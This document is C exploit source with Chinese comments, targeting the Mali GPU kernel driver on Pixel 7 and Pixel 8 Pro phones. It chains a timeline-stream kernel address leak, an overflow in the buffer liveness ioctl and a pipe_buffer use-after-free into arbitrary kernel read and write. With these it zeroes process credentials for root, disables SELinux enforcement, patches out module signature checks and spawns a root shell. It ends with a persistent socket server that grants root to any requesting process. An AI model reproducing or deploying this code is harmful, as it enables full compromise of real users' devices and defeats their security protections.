struct device_config {
    const char *fingerprint;            // 设备固件指纹
    __u64 stext_long1;                  // _stext 段前 8 字节 (内核基址验证)
    __u64 stext_long2;                  // _stext 段第二个 8 字节
    __u64 kthread_task;                 // kthreadd task_struct 指针的符号偏移
    __u64 selinux_state;                // selinux_state 全局变量的符号偏移
    __u64 anon_pipe_buf_ops;            // anon_pipe_buf_ops 的符号偏移
    __u64 task_struct_cred;             // task_struct->cred 字段偏移
    __u64 task_struct_pid;              // task_struct->pid 字段偏移
    __u64 task_struct_tasks;            // task_struct->tasks 链表偏移
    void * (*page_to_virt_fn)(__u64);   // page 结构体转虚拟地址
    __u64  (*virt_to_page_fn)(__u64);   // 虚拟地址转 page 结构体
};

struct device_config * get_device_config(void) {
    char prop_value[PROP_VALUE_MAX];
    __system_property_get("ro.vendor.build.fingerprint", prop_value);
    for (int i = 0; i < sizeof(dev_conf)/sizeof(struct device_config); i++) {
        if (!strncmp(dev_conf[i].fingerprint, prop_value,
                     strlen(dev_conf[i].fingerprint)))
            return &dev_conf[i];
    }
    return NULL;  // 不支持的设备
}

// Pixel 7 (Tensor G1/G2)
void * __page_to_virt(__u64 page) {
    return ((void*)(((((unsigned long long)page << 6) +
                      0xFFFFC008000000LL) & 0xFFFFFFFFFFF000LL
                     | 0xFF00000000000000LL)));
}

// Pixel 8 Pro (Tensor G3)
void * __page_to_virt2(__u64 page) {
    return ((void*)(((__u64)page << 6) & 0xFFFFFFFFFFF000LL
                    | 0xFF00000000000000LL));
}

// 1. 获取 timeline stream fd (开启 CSF tracepoint)
ta->streamfd = kbase_api_tlstream_acquire(fd, BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS);

// 2. 创建 kcpu_queue
ta->kcpu_id = kbasep_kcpu_queue_new(fd);

// 3. 从 stream 中读取事件, 提取内核地址
ta->kcpu_kaddr = get_kcpu_kaddr(ta);

#define KBASE_TL_KBASE_NEW_KCPUQUEUE 59   // 事件 ID

__u64 get_kcpu_kaddr(struct kcpu_args *args) {
    char buf[0x1000] = {};
    do {
        ssize_t rb = read(ta->streamfd, buf, sizeof(buf));
        char *p = buf;
        for (ssize_t i = 0; i < rb && rb > 0x24; i++, p++) {
            __u32 msg_id = *(__u32 *)(p);
            __u32 id     = *(__u32 *)(p + 20);   // kcpu_queue_id
            __u32 kid    = *(__u32 *)(p + 24);   // kernel_ctx_id

            // 匹配: 消息类型 = NEW_KCPUQUEUE 且 ID 对应
            if ((msg_id == KBASE_TL_KBASE_NEW_KCPUQUEUE) &&
                (id == ta->kcpu_id) && (kid == ta->kctx_id)) {
                __u64 kcpu_queue = *(__u64 *)(p + 12);  // 内核堆地址!
                return kcpu_queue;
            }
        }
    } while ((rb >= 0) && ta->kcpu_kaddr == 0);
    return 0;
}

#define PIPE_CNT_MAX       (0x40 - 1)   // 63 个 pipe
#define PIPE_CNT_STAGE_1   (0x2)         // 前 2 个: 等待被溢出覆盖
#define PIPE_CNT_STAGE_2   (PIPE_CNT_MAX - PIPE_CNT_STAGE_1)  // 后 61 个: UAF 占位
#define PIPE_SIZE           (0x10000)     // 64KB
#define FAKE_PIPE_LEN       (PAGE_SIZE - 1)  // 0xFFF, 伪造长度标记

// Stage 1: 创建 2 个 pipe, 等待被溢出覆盖其 pipe_buffer
pipe_structs_init(psize, 1);

// Stage 2: 创建 61 个 pipe (不设 size), 后续 UAF 占位用
pipe_structs_init(0, 2);

void init_buffers() {
    // 数据区: 9 页可读写内存
    mmap((void*)0x1111110000, STATIC_ADDR_SZ, PROT_READ|PROT_WRITE, ...);
    // 紧跟其后: 1 页不可访问的 guard page
    mmap((void*)(0x1111110000 + STATIC_ADDR_SZ), PAGE_SIZE, PROT_NONE, ...);
}

// 读取 pipe 数据但不消耗 (不改变 pipe_buffer->len/offset)
void pipe_struct_read_with_guard(int pipe_index, void *buffer, size_t bufsize) {
    // 将目标地址设在 guard page 前, 使得 bufsize+1 刚好越过 guard page
    __u8 *ptr = (__u8 *)__pbuf_end - bufsize;
    bzero(ptr, bufsize);
    // 多读 1 字节 -> 触及 guard page -> EFAULT
    // 但 bufsize 字节的数据已经拷贝完成
    ssize_t rb = pipe_structs_read(pipe_index, ptr, bufsize + 1);
    assert((rb < 0) && errno == EFAULT);  // 必须是 EFAULT
    memcpy(buffer, ptr, bufsize);
}

// 写入 pipe 数据但不前进写指针
void pipe_struct_write_with_guard(int pipe_index, void *buffer, size_t bufsize) {
    __u8 *ptr = (__u8 *)__pbuf_end - bufsize;
    memcpy(ptr, buffer, bufsize);
    ssize_t wb = pipe_structs_write(pipe_index, ptr, bufsize + 1);
    assert((wb < 0) && errno == EFAULT);
}

#define FDS 100
#define KBASEP_MAX_KCPU_QUEUES 256

// 打开 100 个 mali 设备
int mfds[FDS + 1] = {};
for (int i = 0; i < FDS; i++) {
    mfds[i] = open_device("/dev/mali0");
    kbase_api_handshake(mfds[i], &cmd);
    kbase_api_set_flags(mfds[i], &flags);
}

// 每个设备创建 256 个 kcpu_queue (共 25600 个)
// kcpu_queue 是 order-2 分配 (4 页 = 16KB)
for (int i = 0; i < FDS; i++) {
    for (int j = 0; j < KBASEP_MAX_KCPU_QUEUES; j++)
        kcpu_ids[i][j] = kbasep_kcpu_queue_new(mfds[i]);
}

// 当前 context 也创建 254 个
for (int i = 0; i < 255 - 1; i++)
    kcpu_ids[FDS][i] = kbasep_kcpu_queue_new(ta->fd);

struct pipe_buffer {
    __u64 page;             // 指向 struct page
    unsigned int offset;    // 页内偏移
    unsigned int len;       // 数据长度
    const void *ops;        // pipe_buf_operations 指针
    unsigned int flags;     // 标志位
    unsigned long _private;
};

// 伪造 pipe_buffer #1 (用于读, 偏移 0)
struct pipe_buffer *p = (struct pipe_buffer *)ptr;
p->page   = conf->virt_to_page_fn(ta->kcpu_kaddr);   // 指向 kcpu_queue 的页
p->offset = 0;
p->len    = FAKE_PIPE_LEN;  // 0xFFF -- 作为识别标记
p->ops    = (const void *)(ta->kcpu_kaddr + 0x50);    // 非 NULL, 避免 crash
p->flags  = PIPE_BUF_FLAG_CAN_MERGE;  // 0x10, 允许合并写入

// 伪造 pipe_buffer #2 (用于写, 偏移 0x4000)
p = (struct pipe_buffer *)(ptr + 0x4000);
p->page   = conf->virt_to_page_fn(ta->kcpu_kaddr);
p->offset = 0;
p->len    = 0;              // 写入起始位置
p->ops    = (const void *)(ta->kcpu_kaddr + 0x50);
p->flags  = PIPE_BUF_FLAG_CAN_MERGE;

struct kbase_ioctl_buffer_liveness_update u = {};

__s64 off = 0x8000;
__u64 size = 0x2c01;

// 关键: buffer_count 设为巨大的无符号值 (负数除法的结果)
u.buffer_count      = (__u64)(-off / 0x10);   // = 0xFFFFFFFFFFFFF800
u.live_ranges_count = size;                     // = 0x2c01

u.live_ranges_address  = (__u64)ptr;   // 指向构造的伪造数据
u.buffer_va_address    = (__u64)-1;    // 不使用
u.buffer_sizes_address = (__u64)-1;    // 不使用

err = kbase_api_buffer_liveness_update(fd, &u);  // 触发溢出

// 扫描 stage 1 的 pipe, 看哪个的 pipe_buffer 被覆盖了
for (int i = 0; i < PIPE_CNT_STAGE_1; i++) {
    int sz = 0;
    ioctl(pipes[i]->__fds[0], FIONREAD, &sz);  // 查询可读字节数
    if (sz == FAKE_PIPE_LEN) {   // 0xFFF = 我们伪造的 len
        fake_pipe_index = i;
        break;
    }
}

// 释放 kcpu_queue 对象, 腾出内存
struct kbase_ioctl_kcpu_queue_delete _delete = { .id = ta->kcpu_id };
kbasep_kcpu_queue_delete(fd, &_delete);

// 立即用 pipe_buffer 数组占位
// 扩大 stage 2 的 pipe -> 内核分配 pipe_buffer 数组 -> 落到刚释放的位置
for (int k = PIPE_CNT_STAGE_1; k < PIPE_CNT_MAX; k++) {
    fcntl(pipe_rd_id(k), F_SETPIPE_SZ, psize);  // psize = 0x100 * PAGE_SIZE
    usleep(100);
}

// 写入少量数据推进 head 计数器 (使 pipe_buffer->len 非零)
for (int k = PIPE_CNT_STAGE_1; k < PIPE_CNT_MAX; k++) {
    char tmp[0x1000] = {};
    size_t wsize = 0x10 * (k + 1);
    memset(tmp, 0xcc, wsize);
    pipe_structs_write(k, tmp, wsize);
}

pipe_struct_read_with_guard(fake_pipe_index, rwbuf, 0x28);
struct pipe_buffer *pb = (struct pipe_buffer *)rwbuf;

// 验证: page 非 0, len 合理, ops 非 0
if ((pb->page == 0) || (pb->len > PAGE_SIZE) || (pb->ops == 0)) {
    do_print("占位失败\n");
    exit(0);
}

// 记录关键信息
__u32 pipe_index = (pb->len / 0x10) - 1;  // 推算目标 pipe 索引
prw.wr      = pipe_index;           // 被控制的目标 pipe
prw.krw_idx = fake_pipe_index + 1;  // 通过它写 pipe_buffer 内容
prw.krd_idx = fake_pipe_index;      // 通过它读 pipe_buffer 内容
prw.anon_pipe_buf_ops = (__u64)pb->ops;  // 泄漏的内核代码地址

static __u64 kernel_read64(__u64 addr) {
    __u64 kaddr_align = addr & ~(PAGE_SIZE - 1);  // 页对齐
    struct pipe_buffer *pb = &prw.pb;

    // 修改目标 pipe 的 pipe_buffer, 使其 page 指向目标地址
    pb->page   = conf->virt_to_page_fn(kaddr_align);
    pb->offset = addr & (PAGE_SIZE - 1);  // 页内偏移
    pb->len    = 0x21;  // +1 触发 EFAULT trick

    // 通过 fake pipe 写入修改后的 pipe_buffer
    update_pipe_buffer(prw.krw_idx, pb, 0x28);

    // 验证写入成功
    fetch_pipe_buffer(prw.krd_idx, prw.rwbuf, 0x28);

    // 从目标 pipe 读取 = 读取目标内核地址的内容
    pipe_structs_read(prw.wr, prw.rwbuf, 0x20);
    return *(__u64 *)prw.rwbuf;
}

void kernel_write(__u64 addr, __u8 *buf, size_t size) {
    __u64 kaddr_align = addr & ~(PAGE_SIZE - 1);
    struct pipe_buffer *pb = &prw.pb;

    pb->page   = conf->virt_to_page_fn(kaddr_align);
    pb->offset = addr & (PAGE_SIZE - 1);
    pb->len    = 0;  // 从 offset 开始写

    // 通过 fake pipe 写入修改后的 pipe_buffer
    update_pipe_buffer(prw.krw_idx, pb, 0x28);

    // 向目标 pipe 写入 = 写入目标内核地址
    ssize_t wr = pipe_structs_write(prw.wr, buf, size);
    assert(wr == size);
}

// 从被占位的真实 pipe_buffer 中读到 ops 指针
// ops = anon_pipe_buf_ops, 这是内核代码段的全局变量
prw.anon_pipe_buf_ops = (__u64)pb->ops;

// 内核基址 = ops 实际地址 - 已知偏移
prw.kernel_base   = prw.anon_pipe_buf_ops - conf->anon_pipe_buf_ops;
prw.selinux_state = prw.kernel_base + conf->selinux_state;
prw.kthreadd_task = kernel_read64(prw.kernel_base + conf->kthread_task);

#if 0
// 旧方法: 暴力搜索内核基址 (已弃用)
for (__u64 page = 0xFFFFFFFEFFE00000; page < 0xFFFFFFFFFFE00000; page += 0x40) {
    __u64 addr  = kernel_read64(conf->page_to_virt_fn(page));
    __u64 addr2 = *(__u64 *)(prw.rwbuf + 8);
    if ((addr == conf->stext_long1) && (addr2 == conf->stext_long2)) {
        prw.kernel_base = conf->page_to_virt_fn(page);
        break;
    }
}
#endif

__u64 get_current_task() {
    __u64 curr_tsk = prw.kthreadd_task;  // 从 kthreadd (pid=2) 开始
    do {
        pid_t pid = (__u32)kernel_read64(curr_tsk + conf->task_struct_pid);
        if (pid == getpid()) {
            prw.my_task = curr_tsk;
            return curr_tsk;  // 找到自己的 task_struct
        }
        // tasks 是双向链表, 遍历到下一个进程
        curr_tsk = kernel_read64(curr_tsk + conf->task_struct_tasks)
                   - conf->task_struct_tasks;
        usleep(1000);
    } while ((curr_tsk != prw.kthreadd_task) || !curr_tsk);
    return 0;
}

void get_root() {
    // 读取 task_struct->cred 指针
    __u64 creds = kernel_read64(prw.my_task + conf->task_struct_cred);
    // cred 中 uid/gid/suid/sgid/euid/egid/fsuid/fsgid 从 offset 4 连续排列
    // 全部清零 -> 所有身份变为 root (uid=0, gid=0)
    __u8 buf[0x20] = {};
    kernel_write(creds + 4, buf, sizeof(buf));
}

void disable_selinux() {
    int enabled = kernel_read64(prw.selinux_state);
    __u32 value = (enabled >> 1) << 1;  // 清除 bit 0 (enforcing)
    kernel_write(prw.selinux_state, (__u8 *)&value, 4);
    // 此后 getenforce 返回 Permissive
}

for (int i = 0; i < (256 * FDS); i++) {
    __u64 area = kcpu.kcpu_kaddr + (i * 0x4000);
    __u64 kaddr = kernel_read64(area);
    if (kaddr == conf->virt_to_page_fn(ta->kcpu_kaddr)) {
        // 1. 增加 page refcount, 防止页被释放时 panic
        __u32 refcount = 21;
        kernel_write(kaddr + 0x34, (__u8 *)&refcount, 4);

        // 2. 恢复 ops 为合法的 anon_pipe_buf_ops
        //    这样 pipe close 时调用 ops->release 不会 crash
        kernel_write(area + 0x10, (__u8 *)&prw.anon_pipe_buf_ops, 8);
        kernel_write(area + 0x10 + 0x4000, (__u8 *)&prw.anon_pipe_buf_ops, 8);
        break;
    }
}

close(ta->streamfd);

// 启动 root shell
if (getuid() == 0) {
    system("/system/bin/sh");
}

void disable_module_sig_check() {
    // 方法 1: patch sig_enforce 变量为 0
    __u64 sig_enforce_addr = prw.kernel_base + SIG_ENFORCE_OFFSET;
    __u32 zero = 0;
    kernel_write(sig_enforce_addr, (__u8*)&zero, 4);

    // 方法 2: patch module_sig_check 函数返回 0
    // ARM64: mov w0, #0; ret
    // 字节: 00 00 80 52 C0 03 5F D6
    __u8 patch[] = {0x00, 0x00, 0x80, 0x52, 0xC0, 0x03, 0x5F, 0xD6};
    kernel_write(prw.kernel_base + MODULE_SIG_CHECK_OFFSET, patch, sizeof(patch));
}

void reenable_selinux() {
    __u32 value = kernel_read64(prw.selinux_state);
    value |= 1;  // set enforcing bit
    kernel_write(prw.selinux_state, (__u8*)&value, 4);
}

// 根据 pid 找到 task_struct 并修改 cred 为 root
void grant_root_to_pid(pid_t target_pid) {
    __u64 curr_tsk = prw.kthreadd_task;
    do {
        pid_t pid = (__u32)kernel_read64(curr_tsk + conf->task_struct_pid);
        if (pid == target_pid) {
            __u64 creds = kernel_read64(curr_tsk + conf->task_struct_cred);
            __u8 buf[0x20] = {};
            kernel_write(creds + 4, buf, sizeof(buf));
            return;
        }
        curr_tsk = kernel_read64(curr_tsk + conf->task_struct_tasks)
                   - conf->task_struct_tasks;
    } while (curr_tsk != prw.kthreadd_task);
}

// 常驻监听
void root_server() {
    int sockfd = create_listen_socket("/dev/su_sock");
    while (1) {
        int client = accept(sockfd, ...);
        pid_t requester_pid = get_peer_pid(client);  // SO_PEERCRED
        grant_root_to_pid(requester_pid);
        close(client);
    }
}